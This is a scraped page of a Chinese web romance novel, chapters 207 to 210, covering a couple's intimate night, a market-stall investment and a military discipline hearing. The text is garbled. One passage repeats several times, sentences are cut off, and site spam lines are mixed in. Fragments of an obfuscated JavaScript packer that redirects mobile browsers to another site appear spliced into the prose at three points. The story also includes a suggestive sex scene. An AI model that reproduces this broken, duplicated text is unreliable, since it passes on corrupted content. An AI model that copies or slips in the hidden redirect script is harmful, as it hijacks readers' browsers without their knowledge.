周柒柒看都没看痛得龇牙咧嘴、弯腰捂手的许树,立刻冲过去,一把捡起地上的发夹,紧紧攥在手心。 她冷冷地瞥了一眼狼狈的许树,转身就要快步离开这个恶心的地方。 “周柒柒! 许树忍着手上火辣辣的疼,看着她的背影,不甘心地嘶吼了一声。 “你也太不知好歹了,我可是一片好心! “将来变成破鞋,没人要了,可以回许家村,我…我许树看在往日情分上,还能收留你! 周柒柒脚步顿都没顿,身影迅速消失在了操场。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第207章 他碰你了? 周柒柒几乎是逃也似的冲回了家。 一进院门,那股萦绕在鼻尖、属于许树的污浊汗味和土腥气仿佛还挥之不去。 她反手拴好院门,心口那股恶心感才稍稍压下去一点。 “舟舟,婶婶先去洗澡!” 她扬声对屋里说了一声,也顾不上等舟舟回应,就一头扎进了小小的洗澡间。 每天去操场跑步之前,她都会给灶上温一大锅水。 这会儿水都是现成的,她飞快地把热水加进水箱里。 关上门,脱掉那身沾染了许树气息的运动服,几乎是带着点狠劲儿地边冲边搓。 香皂打了一遍又一遍,细密的泡沫覆盖全身,她用力搓洗着被许树目光扫过的皮肤,仿佛要搓掉一层皮才甘心。 “真是臭**……” 她低声嘟囔,心里一阵阵犯恶心, “跟他说上几句话,感觉自己也腌入味了。” 温热的水流冲刷着身体,却冲不散心头那股膈应。 她不禁纳闷,就这样的男人,白给她周柒柒都不要,林瑶却要费尽心机地抢走。 究竟是图他年纪大?还是图他不洗澡? 这许树的小白脸当的,也太轻松了。 还是沈淮川好,哪怕训练场上摸爬滚打一天,回来也总是清清爽爽的。 正想着他呢,洗澡间的木门“吱呀”一声,被轻轻推开了一条细缝。 昏黄的灯光下,露出一张棱角分明、带着明显疲惫却依旧英挺的脸。 年底军区大比武在即,他身为团长,忙得脚不沾地。 每天天不亮,不到六点就得出门,常常要到晚上**点才能拖着疲惫的身躯回来。 周柒柒也忙着生产线和设计图,两人这些日子白天碰面都难。 此刻,他显然是一进家门,连军装外套都来不及脱,就循着水声找了过来,只想第一时间看看她。 门缝里,水汽氤氲。 周柒柒背对着门,纤细的脖颈,圆润的肩头,漂亮的蝴蝶骨在朦胧的光线下若隐若现,热水顺着她光洁的脊背蜿蜒流下,勾勒出曼妙起伏的腰臀曲线。 湿漉漉的长发贴在白皙的肌肤上,画面无声却带着惊人的诱惑力。 沈淮川的呼吸瞬间粗 重了几分深邃的眼眸里翻涌起浓得化不开的情愫和思念。 他喉结滚动了一下没有出声只是那样静静地望着她仿佛要将这缺失了一整天的身影狠狠刻进眼里。 周柒柒似有所感猛地回头。 看到是他眼中的警惕瞬间化为惊喜和柔情蜜意一整天的思念也在此刻汹涌而出。 她顾不上羞涩湿漉漉的手直接伸过去一把拽住了他军装外套的袖子将他往门里拉近了些。 “回来了?” 她的声音带着水汽的湿润软糯又撩人。 沈淮川顺势俯身周柒柒踮起脚尖带着皂香和水汽的、温软的唇瓣就印上了他微凉的薄唇。 这个吻来得突然又热烈像是干渴旅人遇见了甘泉。 沈淮川低哼一声立刻反客为主一手扣住她的后颈一手揽住她光滑的腰背将这个吻加深、再加深。 舌尖带着滚烫的温度攻城略地贪婪地汲取着她的气息 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节)仿佛要将白天的分离都补偿回来。 小小的洗澡间里温度急剧攀升水汽蒸腾只剩下两人急促交融的呼吸和唇舌纠缠的细微声响。 沈淮川的手不受控制地在她湿滑的背上流连带着薄茧的指腹激起一阵阵细微的战栗。 周柒柒也情动双手环上他的脖子身体紧紧贴着他感受着他军装下坚实的胸膛和勃发的力量。 难舍难分意乱情迷。 最后还是沈淮川强大的意志力稍稍回笼他艰难地微微撤离她的唇额头抵着她的声音沙哑得厉害带着灼人的热度。 “乖…凉气进来了仔细着凉。” 他强迫自己松开手后退一步目光依旧胶着在她被吻得红肿水润的唇瓣和泛着动人红晕的脸颊上眼神暗沉。 “快洗好出来……我在外面等你。” 他顿了顿补充道声音里带着压抑的渴望“待会儿……回房间里再继续。” 周柒柒脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991277|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绯红嗔了他一眼却也乖乖点头。 “嗯。饭菜在锅里热着呢端出来就能吃。” “知道了。” 沈淮川深吸一口气压下翻腾的欲念替她掩好门才转身离开。 门外传来他走向厨房的脚步声。 周柒柒心跳如鼓,赶紧三下五除二冲洗干净,擦干身体穿上柔软的棉质睡衣。 然后喊了舟舟去洗澡,又帮着舟舟擦干头发。 等她的小房间熄了灯,才回到主屋。 等她收拾好出来,沈淮川也吃完饭了,将碗筷收拾进厨房。 周柒柒则坐到书桌前,拿出给卓光明设计的小礼服草图,又仔细完善了几处细节。 等她放下笔,沈淮川也刚好洗完澡出来。 他只穿了一件部队发的蓝色背心和一条军绿色短裤,露出壁垒分明的胸肌和紧实有力的手臂线条。 刚洗过的头发半干,凌乱地搭在额前,带着清爽的水汽和皂香,整个人干净利落,散发着强烈的男性荷尔蒙,与刚才许树的形象形成天壤之别。 但周柒柒却没给任何眼神。 她正坐在床边,手里拿着那个失而复得的水钻发夹,在灯下仔细端详,秀气的眉头微微蹙起。 “看什么呢,这么认真?” 沈淮川擦着头发走过来。 周柒柒叹了口气,一边把发夹递给他,一边把刚才的事情说了。 “喏,许树那瘟神把发夹摔了一下,你看,上面最大的一颗水钻碎了。” 沈淮川接过来一看,果然,原本镶嵌着一圈小碎钻围绕一颗稍大主钻的位置,现在空了一个小坑,看起来有些残缺。 他眼神瞬间冷了下来:“他碰你了?” “没,我反应快,直接踹他手了。” 周柒柒赶紧解释,不想他担心, “就是这钻……有点可惜。我本来想看看能不能自己补上,我那儿有不少做衣服剩下的装饰小配件。” 她拉开床头柜的小抽屉,拿出一个小盒子,里面是各种珠子、亮片、小扣子。 “可这发夹是进口的,这种切割度和亮度的水钻,我手头这些都不太配得上。” 第208章 女王大人 沈淮川看着她微蹙的眉头和惋惜的眼神心头的冷意被怜惜取代。 他坐到她身边将她搂进怀里下巴蹭了蹭她的发顶。 “别费这个心了。一个发夹而已下次我去省城开会再去友谊商店给你买个新的买个更好看的。” 周柒柒立刻摇头:“不要!只是掉了一颗钻而已再买一个多浪费啊!而且……” 她仰起脸看他眼神带着点审视 “这发夹可不便宜吧?沈团长我记得你每个月的工资可是准时、足额上交的一分不少!买这个的钱……哪儿来的?” 她故意板起脸佯装生气“老实交代是不是偷偷藏私房钱了?” 沈淮川被她这副“严查”的小模样逗笑了捏了捏她的鼻尖。 “想什么呢?我可不敢藏私房钱。这钱是上次秋季驻训军区给我评了个‘训练标兵’发的二十块钱奖金当时想着给你个惊喜就自己留着了。” 他顿了顿看着她眼神温柔又带着点男人的骄傲。 “这次年底大比武我争取再拿个第一用奖金给你买个更大更好看的!带珍珠的怎么样?” 周柒柒一听他又是拼了命去挣那点奖金心里顿时涌起一阵心疼。 她反手抱住他的腰把脸埋在他带着清爽气息的胸膛上闷闷地说。 “不要!每次都拼尽全力拿第一多辛苦啊!为了那二十块钱不值得。你平平安安、健健康康的比什么都重要。” 她抬起头眼睛亮晶晶地看着他“而且我们家不缺钱的!” 她挣脱他的怀抱爬到床边拉开床头柜的另一个抽屉拿出一个存折献宝似的递到他面前“你看!” 沈淮川疑惑地接过翻开一看上面最新的存款记录赫然是两千元整! 他吃了一惊“这么多?是之前第一服装厂库存改造的分红?” “对!” 周柒柒用力点头脸上是抑制不住的兴奋 “比我们预估的卖得还好!全都到账了!整整两千块!还有生产线现在上的秋冬款订单都排到下个月了也是爆火!所以呀沈团长。” 她凑近他眨眨眼 “你老婆我现在可是小富婆了养得 起你!以后别那么拼命去挣那点奖金了,咱不差钱!” 沈淮川看着存折上的数字,听着妻子轻快又带着点小骄傲的话语,眼神几不可察地闪烁了一下,一丝说不清道不明的情绪飞快地掠过他的眼底。 他很快调整好表情,脸上露出由衷的赞叹,揉了揉她的头发。 “我媳妇儿真厉害!比我强多了。” 语气是骄傲的,但那一闪而过的情绪还是被周柒柒捕捉到了。 “淮川?” 周柒柒敏锐地察觉到他那一瞬间的异样,以为是自己“养得起你”的话伤了他的自尊心,赶紧坐直身体,握住他的手,语气带上了歉意和小心翼翼。 “你…是不是不开心了?我没有别的意思,我就是心疼你太累……” 沈淮川看着她紧张解释的样子,心里那点微妙的情绪瞬间烟消云散,反而觉得暖暖的。 他忽然凑近,额头抵着她的,深邃的眼眸里漾起促狭的笑意,低沉的嗓音带着蛊惑。 “不开心?有一点。” “啊?” 周柒柒心一紧。 “我在想,” 沈淮川的指尖轻轻拂过她的脸颊,一路滑到她的锁骨,眼神变得幽深, “我媳妇儿这么能挣钱,一个月赚的比我一年赚的还多,那我岂不是变成……吃软饭的小白脸了?” 周柒柒一愣。 沈淮川之前一直都是很自信的,很少这样说自己。 她也不知道要怎么安慰,正有些手足无措,沈淮川却已经低头。 温热的呼吸喷洒在她敏感的耳廓,声音压得更低,带着一丝沙哑的笑意和不容置疑的强势。 “既然是小白脸,那就更要好好‘服务’好我的‘女王大人’了……得让女王满意,才能保住自己的地位,你说对不对?” 最后几个字,几乎是气音,带着滚烫的温度,钻进她的耳朵里。 周柒柒的脸“轰”的一下红透了,这才明白他是在开玩笑,之前的低落是装的! 她刚想嗔他,沈淮川的吻已经不容分说地落了下来。 比之前在洗澡间门口更加炽热、更加缠绵,带着一种宣告**的霸道和压抑已久的渴望。 他的吻技高超,时而温柔吮吸,时而强 势掠夺,大手在她柔软的睡衣下游走,精准地挑动着每一根敏感的神经。 周柒柒很快就被吻得晕头转向,刚才那点小担忧和小生气早飞到了九霄云外,只剩下被他点燃的、燎原的情火。 她不由自主地回应着他,双手攀上他宽阔坚实的后背,感受着那勃发的力量和滚烫的体温。 沈淮川用实际行动证明了他“服务的诚意。 他极有耐心,技巧娴熟,每一个动作都带着撩拨和试探,却又在关键时刻给予她最强烈的冲击。 他熟悉她身体的每一处敏感点,总能精准地让她战栗、让她失神、让她发出破碎而甜蜜的呜咽。 周柒柒感觉自己像漂浮在温暖的海浪上,被一波波汹涌的快感推上云端,又被他稳稳地接住。 他不再是平日里那个沉稳冷静的沈团长,此刻只是一个被心爱女人点燃、充满侵略性和占有欲的男人。 用最原始也最亲密的方式,诉说着他的思念、他的骄傲和他对她毫无保留的爱恋。 夜还很长,小小的房间里,温度节节攀升。 一直折腾了接近两个小时才停歇。 …… 第二天清晨,周柒柒醒来后,浑身都透着难以言喻的舒畅和满足。 想起昨夜的疯狂与缠绵,周柒柒的脸颊不由自主地又染上了一层红晕。 她从前都不知道,原来这种事情,还有那么多花样。 先前她拽着沈淮川的领带,已经很刺激了。 却没想到,沈淮川居然还可以把她整个抱起来 现在她好像有点理解,为什么有些女人要去养小白脸了。 不过,许树那样长得丑,又只有“十分钟的例外! 她正胡思乱想地刷着牙呢,隔壁院子传来朱莹莹温柔的喊声。 “柒柒,你快点,咱们今儿不是要帮翠香姐租摊位吗,去晚了就没好位置了! “哦,好,来啦。 周柒柒赶紧应了一声,带着沈渡舟赶紧洗漱完,拎着沈淮川买回来的包子就出门了。 这些日子,不仅是她的服装生意干得红红火火,邓翠香的酱菜生意也小有起色。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 势掠夺,大手在她柔软的睡衣下游走,精准地挑动着每一根敏感的神经。 周柒柒很快就被吻得晕头转向,刚才那点小担忧和小生气早飞到了九霄云外,只剩下被他点燃的、燎原的情火。 她不由自主地回应着他,双手攀上他宽阔坚实的后背,感受着那勃发的力量和滚烫的体温。 沈淮川用实际行动证明了他“服务”的诚意。 他极有耐心,技巧娴熟,每一个动作都带着撩拨和试探,却又在关键时刻给予她最强烈的冲击。 他熟悉她身体的每一处敏感点,总能精准地让她战栗、让她失神、让她发出破碎而甜蜜的呜咽。 周柒柒感觉自己像漂浮在温暖的海浪上,被一波波汹涌的快感推上云端,又被他稳稳地接住。 他不再是平日里那个沉稳冷静的沈团长,此刻只是一个被心爱女人点燃、充满侵略性和占有欲的男人。 用最原始也最亲密的方式,诉说着他的思念、他的骄傲和他对她毫无保留的爱恋。 夜还很长,小小的房间里,温度节节攀升。 一直折腾了接近两个小时才停歇。 …… 第二天清晨,周柒柒醒来后,浑身都透着难以言喻的舒畅和满足。 想起昨夜的疯狂与缠绵,周柒柒的脸颊不由自主地又染上了一层红晕。 她从前都不知道,原来这种事情,还有那么多花样。 先前她拽着沈淮川的领带,已经很刺激了。 却没想到,沈淮川居然还可以把她整个抱起来 现在她好像有点理解,为什么有些女人要去养小白脸了。 不过,许树那样长得丑,又只有“十分钟”的例外! 她正胡思乱想地刷着牙呢,隔壁院子传来朱莹莹温柔的喊声。 “柒柒,你快点,咱们今儿不是要帮翠香姐租摊位吗,去晚了就没好位置了!” “哦,好,来啦。” 周柒柒赶紧应了一声,带着沈渡舟赶紧洗漱完,拎着沈淮川买回来的包子就出门了。 这些日子,不仅是她的服装生意干得红红火火,邓翠香的酱菜生意也小有起色。 你的朋友正在书荒,快去帮帮他吧 势掠夺大手在她柔软的睡衣下游走精准地挑动着每一根敏感的神经。 周柒柒很快就被吻得晕头转向刚才那点小担忧和小生气早飞到了九霄云外只剩下被他点燃的、燎原的情火。 她不由自主地回应着他双手攀上他宽阔坚实的后背感受着那勃发的力量和滚烫的体温。 沈淮川用实际行动证明了他“服务”的诚意。 他极有耐心技巧娴熟每一个动作都带着撩拨和试探却又在关键时刻给予她最强烈的冲击。 他熟悉她身体的每一处敏感点总能精准地让她战栗、让她失神、让她发出破碎而甜蜜的呜咽。 周柒柒感觉自己像漂浮在温暖的海浪上被一波波汹涌的快感推上云端又被他稳稳地接住。 他不再是平日里那个沉稳冷静的沈团长此刻只是一个被心爱女人点燃、充满侵略性和占有欲的男人。 用最原始也最亲密的方式诉说着他的思念、他的骄傲和他对她毫无保留的爱恋。 夜还很长小小的房间里温度节节攀升。 一直折腾了接近两个小时才停歇。 …… 第二天清晨周柒柒醒来后浑身都透着难以言喻的舒畅和满足。 想起昨夜的疯狂与缠绵 她从前都不知道原来这种事情还有那么多花样。 先前她拽着沈淮川的领带已经很刺激了。 却没想到沈淮川居然还可以把她整个抱起来 现在她好像有点理解为什么有些女人要去养小白脸了。 不过许树那样长得丑又只有“十分钟”的例外! 她正胡思乱想地刷着牙呢隔壁院子传来朱莹莹温柔的喊声。 “柒柒你快点咱们今儿不是要帮翠香姐租摊位吗去晚了就没好位置了!” “哦好来啦。” 周柒柒赶紧应了一声带着沈渡舟赶紧洗漱完拎着沈淮川买回来的包子就出门了。 这些日子不仅是她的服装生意干得红红火火邓翠香的酱菜生意也小有起色。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 势掠夺大手在她柔软的睡衣下游走精准地挑动着每一根敏感的神经。 周柒柒很快就被吻得晕头转向刚才那点小担忧和小生气早飞到了九霄云外只剩下被他点燃的、燎原的情火。 她不由自主地回应着他双手攀上他宽阔坚实的后背感受着那勃发的力量和滚烫的体温。 沈淮川用实际行动证明了他“服务”的诚意。 他极有耐心技巧娴熟每一个动作都带着撩拨和试探却又在关键时刻给予她最强烈的冲击。 他熟悉她身体的每一处敏感点总能精准地让她战栗、让她失神、让她发出破碎而甜蜜的呜咽。 周柒柒感觉自己像漂浮在温暖的海浪上被一波波汹涌的快感推上云端又被他稳稳地接住。 他不再是平日里那个沉稳冷静的沈团长此刻只是一个被心爱女人点燃、充满侵略性和占有欲的男人。 用最原始也最亲密的方式诉说着他的思念、他的骄傲和他对她毫无保留的爱恋。 夜还很长小小的房间里温度节节攀升。 一直折腾了接近两个小时才停歇。 …… 第二天清晨周柒柒醒来后浑身都透着难以言喻的舒畅和满足。 想起昨夜的疯狂与缠绵周柒柒的脸颊不由自主地又染上了一层红晕。 她从前都不知道原来这种事情还有那么多花样。 先前她拽着沈淮川的领带已经很刺激了。 却没想到沈淮川居然还可以把她整个抱起来 现在她好像有点理解为什么有些女人要去养小白脸了。 不过许树那样长得丑又只有“十分钟”的例外! 她正胡思乱想地刷着牙呢隔壁院子传来朱莹莹温柔的喊声。 “柒柒你快点咱们今儿不是要帮翠香姐租摊位吗去晚了就没好位置了!” “哦好来啦。” 周柒柒赶紧应了一声带着沈渡舟赶紧洗漱完拎着沈淮川买回来的包子就出门了。 这些日子 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 势掠夺,大手在她柔软的睡衣下游走,精准地挑动着每一根敏感的神经。 周柒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991278|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柒很快就被吻得晕头转向,刚才那点小担忧和小生气早飞到了九霄云外,只剩下被他点燃的、燎原的情火。 她不由自主地回应着他,双手攀上他宽阔坚实的后背,感受着那勃发的力量和滚烫的体温。 沈淮川用实际行动证明了他“服务”的诚意。 他极有耐心,技巧娴熟,每一个动作都带着撩拨和试探,却又在关键时刻给予她最强烈的冲击。 他熟悉她身体的每一处敏感点,总能精准地让她战栗、让她失神、让她发出破碎而甜蜜的呜咽。 周柒柒感觉自己像漂浮在温暖的海浪上,被一波波汹涌的快感推上云端,又被他稳稳地接住。 他不再是平日里那个沉稳冷静的沈团长,此刻只是一个被心爱女人点燃、充满侵略性和占有欲的男人。 用最原始也最亲密的方式,诉说着他的思念、他的骄傲和他对她毫无保留的爱恋。 夜还很长,小小的房间里,温度节节攀升。 一直折腾了接近两个小时才停歇。 …… 第二天清晨,周柒柒醒来后,浑身都透着难以言喻的舒畅和满足。 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东西新鲜味道好,价格也实在,每次出摊,那几坛子小菜总能卖个精光。 生意眼见着红火,需要的量越来越大,可问题也来了。 瓶瓶罐罐多了,路上颠簸,不是这个坛子磕破了边儿,就是那个罐子里的汁水晃荡出来撒了一地,收拾起来又麻烦。 邓翠香每次都心疼得不得了。 周柒柒把她的苦恼看在眼里,一直琢磨着怎么帮她解决。 前两天去**大院送资料时,听办公室里面的人闲聊。 说市里要响应上头的新政策,在G市最热闹的居民区中心,新建一个正规的菜市场,马上就要招商了! 周柒柒心里一亮,这简直就是为邓翠香量身定做的机会! 她立刻找到邓翠香,把这事儿一说。 “租个固定摊位?” 邓翠香眼睛也亮了,但随即又有些犹豫,“这……能行吗?那地方租金怕是不便宜吧?” “肯定比你现在推着车风吹日晒、坛子还老摔破强!” 周柒柒笃定地说。 “有个固定的地方,坛子摆得稳当,顾客也好找。咱们先去瞧瞧,眼见为实!” 邓翠香被说动了心,所以今天才约了周柒柒和朱莹莹陪她去看市场。 市场建在一片居民楼环绕的空地上,位置确实绝佳。 崭新的水泥台面一排排立着,头顶搭着遮阳挡雨的棚子,已经有不少人在里面转悠打听了。 空气里弥漫着一种既兴奋又观望的气氛。 “嚯,人真不少!” 邓翠香看着熙熙攘攘的人流,心里踏实了几分。 她们找到管理处,仔细询问了摊位情况。 位置一般的摊位,一年租金都要一百五十块; 要是位置好,再带个小仓库的,则要两百五十块一年。 这价格让 不少来看的人都咋舌议论纷纷: “一年一百五?乖乖顶我仨月工资了!” “政策刚下来谁知道能维持多久?万一过俩月又变卦了这钱不就打水漂了?” “是啊是啊太贵了再看看再看看……” 邓翠香早就看好了一处带仓库的可听着周围人的议论心里也打起了鼓。 她卖酱菜虽然赚了些但都是薄利多销时间又短积蓄不多一下子拿出两百五十块确实压力山大。 周柒柒却看得更远。 她拉着走到那个铺面前指着周围密集的居民楼和人流。 “翠香姐你看这位置四通八达!我敢打包票这个市场将来一定是G市最红火的菜篮子!租金现在看着是贵点但以后肯定翻着番儿往上涨!错过这个村就没这个店了!” 她顿了顿 “至于钱你别担心。这摊位钱我替你出了也不用你还就当是我投资入股你的酱菜生意!你以后分成就行。而且我建议你要租就租长点五年、十年最好!相信我长远看绝对划算!” “柒柒这…这怎么好意思太多了…” 邓翠香感动又惶恐。 朱莹莹也笑着挽住邓翠香的胳膊 “柒柒说得对这地方确实好。这样柒柒那份算她的投资我也凑一份!我也入股!翠香姐你就安心做你的酱菜我和柒柒当你的股东咱们姐妹齐心把这酱菜摊子做成金字招牌!” 邓翠香看着两个真心实意帮她的好姐妹眼圈一红用力地点点头。 “好!好姐妹!这情分我邓翠香记心里了!这帐我一定算清楚赚了钱咱们仨分!” 一股斗志在她心里熊熊燃烧。 有了资金支持邓翠香底气十足在周柒柒的参谋下果断签下了那个带小仓库的绝佳铺位一口气直接租了十年! 周柒柒和朱莹莹一人出了一千两百块钱。 摸着那纸合同邓翠香仿佛已经看到了自家酱菜坛子在干净敞亮的摊位上稳稳当当摆开顾客盈门的景象。 解决了邓翠香的心头大事朱莹莹这边也传来了好消息。 第二天是周一周柒柒特意陪着 朱莹莹去医院复查。 大夫拿着最新的化验单,脸上露出了笑容。 “朱莹莹同志,你这多囊的情况改善得很明显啊!各项激素指标都降下来了,接近正常范围了。再坚持调理治疗一段时间,我看啊,怀孕的希望非常大!” “真的?太好了!谢谢大夫!” 朱莹莹激动得声音都有些颤抖,周柒柒也替她高兴。 两人又围着大夫问了许多注意事项,心情轻松地走出诊室。 刚走到走廊拐角,周柒柒脚步微微一顿,目光锐利地扫过前方拐角处正在吵架的两个人影。 “莹莹,你在这凳子上坐会儿等我一下,我好像看见个熟人,过去打个招呼就回来。” 周柒柒对朱莹莹说。 朱莹莹点点头:“行,你去吧。” 周柒柒快步跟了上去。 过了一会儿,她脚步轻快地回来了,脸上带着一种“捡到宝”似的开心笑容。 忙碌的日子总是过得飞快。 周柒柒奔波于服装厂的设计、卓光明小礼服的赶制、偶尔去邓翠香新租的摊位帮忙出主意;< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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为首的军人犹豫了一下最终还是点了点头不过却眼神示意身边的兵跟着周柒柒一起去。 上完厕所她锁好院门两位军人已经一左一右站在了她身侧形成一种无形的押送姿态。 “走吧。” 军人示意道。 周柒柒挺直脊背迈步走下台阶。 她坐进后座车门关上隔绝了外面熟悉的世界。 车子发动平稳却迅速地驶离了家属院朝着未知的目的地驶去。 第210章 绝不能轻饶了她! 车子在市中心的军区大楼前停下。 周柒柒被左右“护送”着穿过肃穆的大厅,走上楼梯。 最终停在一扇厚重的、挂着“军区纪律检查委员会”牌子的门前。 门被推开,一股混合着压抑和审判气息的空气扑面而来。 会议室里的灯亮得晃眼,长条形会议桌最上头,坐着个中年军官。 脸拉得老长,自带一股威严劲儿,肩上的肩章在光底下亮得人眼晕。 他那眼神跟探照灯似的,“唰”一下就定在刚进门的周柒柒身上,看得她后脖颈子有点发紧。 不用问,这位准是纪委**没跑了。 周柒柒眼珠子飞快扫了圈屋子。 另一边,站着林瑶、许树、许枣三人。 林瑶眼圈红得跟兔子似的,手里攥着块手帕,时不时往眼角按两下,那模样,像是受了天大的屈; 许树耷拉着脑袋,脸上使劲挤着“沉痛”和“悔恨”,可眼珠子乱瞟,那点心虚藏都藏不住; 许枣倒好,梗着个脖子,一脸的不服气,瞅过来的眼神里全是怨毒,跟要**似的。 可最让周柒柒心头一跳的,是她瞅见了周淑华! 这老女人竟然也在这儿! 怪不得呢,凭林瑶这个草包,怕是还脑不到这儿来。 周淑华端坐在纪委**稍侧后方的椅子上,腰板挺得笔直,仿佛是来主持公道的清官。 周柒柒的视线继续移动,掠过几张陌生的严肃面孔,最终定格在会议室最角落的位置。 沈淮川!他也在! 他坐在一张靠墙的椅子上,脸色铁青。 旁边还站着俩军人,脸绷得跟铁块似的,虽没上手捆着,可那架势明摆着,是限制他动弹呢。 “淮川!”周柒柒下意识地想朝他走去。 “柒柒!”沈淮川也猛地站起身,想迎向她。 “坐下!” 纪委**低沉而极具威慑力的声音响起。 “沈淮川同志!注意你的身份!组织正在调查,你必须避嫌!在事情没有调查清楚之前,不要有任何干扰调查的言行!” 他的目光严厉地扫过沈淮川,带着警告。 沈淮川胸口剧烈起伏了一下,牙关紧咬,额角 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 的青筋跳动。 “这是命令! **又厉声补充了一句。 沈淮川死死咬着后槽牙,将那几乎要喷薄而出的怒火和担忧强行压下。 末了,只用那双急得冒火、却又透着股子劲儿和信任的眼睛,定定地瞅着周柒柒,那眼神像是在说。 “别怕,有我在。 周柒柒被人引着,在沈淮川斜对面的空椅子上坐下,正好跟周淑华、林瑶他们面对面,成了对峙的架势。 她能感觉到沈淮川的目光,也能清晰地感受到来自主位和对面那几道充满敌意和指控的视线。 “人都到齐了。 纪委**声音低沉,目光扫视全场,最后落在周淑华身上, “周淑华同志,你作为主要的举报人之一,又是军属区的老同志,你先说说情况吧。记住,实事求是,不要夸大其词。 语气平淡,却带着无形的压力。 周淑华立刻挺直了脊梁,拿起面前厚厚一叠显然是精心准备的“举报材料,清了清嗓子,开始了她的控诉。 “**,各位同志!我今天站在这里,心情无比沉重!我是抱着对组织负责、对军队荣誉负责的态度来揭发一件令人痛心疾首的事情! 她的目光痛惜地扫过沈淮川。 “沈淮川同志,是我们军区的战斗英雄,是国家的栋梁!他根正苗红,作风过硬,本来前途无量!他从小就和林瑶同志定了娃娃亲,林瑶同志是正儿八经的医学院毕业生,人品好,医术好,两人青梅竹马,感情深厚!原本说好今年就结婚的,这是咱们军属区都知道的一桩美事! 好家伙,这周主任真不愧是大学老师,这材料写的确实不错。 有那味儿了. 周柒柒一副事不关己的样子,正在心里默默评价呢,却听—— 周淑华话锋一转,声音陡然变得尖利,充满憎恶地指向周柒柒: “可是!这一切的美好,都被这个心思歹毒的女人——周柒柒,给彻底破坏了! “周柒柒,她是什么出身?一个穷山沟里出来的农村姑娘!而且,她早就是许树同志的童养媳了! 她刻意加重了“童养媳 周淑华拿起一张纸煞有介事地念着。 “根据我调查了解三个月前沈淮川同志去省城找林瑶商量结婚的事儿住在省军区医院下属的招待所周柒柒当时也在省城她不知道从哪儿很可能是招待所里那些长舌妇的议论中得知了沈淮川同志的房间号知道他是个年轻有为、级别不低的单身军官!她立刻就起了歪心思!起了歹念!” 她绘声绘色地描述着仿佛亲眼所见: “于是她就故意闯进了沈淮川同志的房间!然后故意制造出那种……那种被‘捉奸在床’的场面!让很多人都看见了!逼着林瑶和沈淮川退亲娶了她!**您想想一个未婚的姑娘家和一个男同志衣衫不整地抱在一起被人撞破这名声可就彻底毁了!” 她说到这里痛心疾首地拍着桌子。 “可怜我们淮川清清白白一个战斗英雄就这么被她给算计了!” **的目光转向林瑶语气沉重。 “林瑶同志周淑华同志所说是否属实?” 林瑶像是就等着这话呢眼泪“唰”地下来了跟断了线的珠子似的往下掉。 她拿手帕捂着嘴肩膀一抽一抽的哭得那叫一个梨花带雨声音哽咽着满是“委屈”。 “**淑华阿姨说的都是真的!我和淮川哥从小一起长大感情一直很好淮川哥对我特别好我小时候爱吃酸梅粉和水果糖他自己不舍得吃总是给我买很多我我一直以为我们会结婚的谁知道.谁知道周柒柒她.她用了那种下作的手段……呜呜……” 她抬起泪眼看向沈淮川的方向。 “那天看到他们抱在一起我感觉天都塌了可是我不能毁了淮川哥的前程啊!他那么优秀要是背上作风问题的污点他这辈子就毁了!我只能 她这番“深明大义”、“忍辱负重”的表演配上那楚楚可怜的模样还真能糊弄人。 纪委**和其他几个调查的眼神明显软了些甚至带上了点同情。 “许树同志你呢?” **的目光又转向许树。 许树搓着手耷拉着脑袋说。 “**周主任说的没错当时周柒柒说名声毁了活不下去求我去帮她找沈团长‘负责’我.是被她利用了!” “**!我哥说的对!” 许枣迫不及待地跳出来尖利的声音在会议室里显得格外刺耳。 “周柒柒在村里就不老实!仗着有几分姿色勾着我哥又不肯好好跟他过日子!到了省城更是尾巴翘到天上去了!攀上了沈团长 这仨人你一言我一语的一个哭一个悔一个凶编了张网把周柒柒死死罩在里头看着还挺像那么回事儿。 这时周淑华重重地拍了一下桌子痛心疾首地总结。 “**!同志们!周柒柒干的这些事是处心积虑的算计是借着军人的善良和责任感耍无赖!她这是败坏咱军队的名声糟践军婚的神圣!” “我恳请**为了军队的荣誉为了正风气肃军纪一定要严肃处理这个周柒柒!绝不能轻饶了她!” 会议室里一下子静下来所有人的目光都聚在周柒柒身上有审视有怀疑还有的干脆就是鄙夷。 纪委**那眼神跟鹰隼似的沉沉地压着周柒柒声音里带着股子让人喘不过气的威压: “周柒柒同志” 他刻意加重了“同志”二字却透着一股冰冷的距离感。 “对于周淑华同志以及这些人证所反映的情况你有什么要解释的吗?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 许树搓着手,耷拉着脑袋说。 